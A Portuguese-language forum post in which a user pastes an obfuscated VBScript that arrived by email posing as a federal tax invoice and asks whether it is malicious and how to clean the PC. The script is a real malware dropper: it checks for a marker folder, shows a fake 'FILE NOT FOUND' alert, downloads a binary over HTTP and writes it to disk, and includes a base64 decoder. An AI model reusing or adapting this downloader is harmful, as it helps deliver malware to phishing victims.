Código Malicioso

[tanusrj]

Olá.

Recebi esse código por email se fazendo passar por nota fiscal da receita federal será que é malicioso? se sim, o que eu uso pra limpar o PC?

Set wshShell = CreateObject("WScript.Shell")

Const b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

qqrtuwwyzBBD = "c:\nvidiap"

iiklnooqsttvx = ""

Function RRTTVWYYabddeg()

Set mqXFFRJUWm = CreateObject("Scripting.FileSystemObject")

If (mqXFFRJUWm.FolderExists((qqrtuwwyzBBD) )) Then

WScript.Quit()

End If

End Function

WScript.Sleep 118

Function vxxyACDFFGIIKL()

Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")

objXMLHTTP.open "GET", nnprsuuwxzzBCCEF, false

objXMLHTTP.send()

If objXMLHTTP.Status = 200 Then

Set objADOStream = CreateObject("ADODB.Stream")

objADOStream.Open

objADOStream.Type = 1 'adTypeBinary

objADOStream.Write objXMLHTTP.ResponseBody

objADOStream.Position = 0

Set objFSO = Createobject("Scripting.FileSystemObject")

If objFSO.Fileexists(uuvvzzACDDF) Then objFSO.DeleteFile strHDLocation

Set objFSO = Nothing

objADOStream.SaveToFile uuvvzzACDDF

objADOStream.Close

Set objADOStream = Nothing

End if

End Function

RRTTVWYYabddeg

msgbox " FILE NOT FOUND " ,vbInformation,"Windows"

Dim oFSO

Set oFSO = CreateObject("Scripting.FileSystemObject")

oFSO.CreateFolder qqrtuwwyzBBD

WScript.Sleep 5018

Function VWYYabddfg(b64String)

Dim intLen, sOut, groupBegin

b64String = Replace(b64String, vbCrLf, "")

b64String = Replace(b64String, vbTab, "")

b64String = Replace(b64String, " ", "")

intLen = Len(b64String)

For groupBegin = 1 To intLen Step 4

Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut

numDataBytes = 3

nGroup = 0

For CharCounter = 0 To 3

thisChar = Mid(b64String, groupBegin + CharCounter, 1)

If thisChar = "=" Then

numDataBytes = numDataBytes - 1

thisData = 0

Else

thisData = InStr(1, b64, thisChar, vbBinaryCompare) - 1

End If

nGroup = 64 * nGroup + thisData

Next

nGroup = Hex(nGroup)

nGroup = String(6 - Len(nGroup), "0") & nGroup

pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _

Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _

Chr(CByte("&H" & Mid(nGroup, 5, 2)))

sOut = sOut & Left(pOut, numDataBytes)

Next

VWYYabddfg = sOut

End Function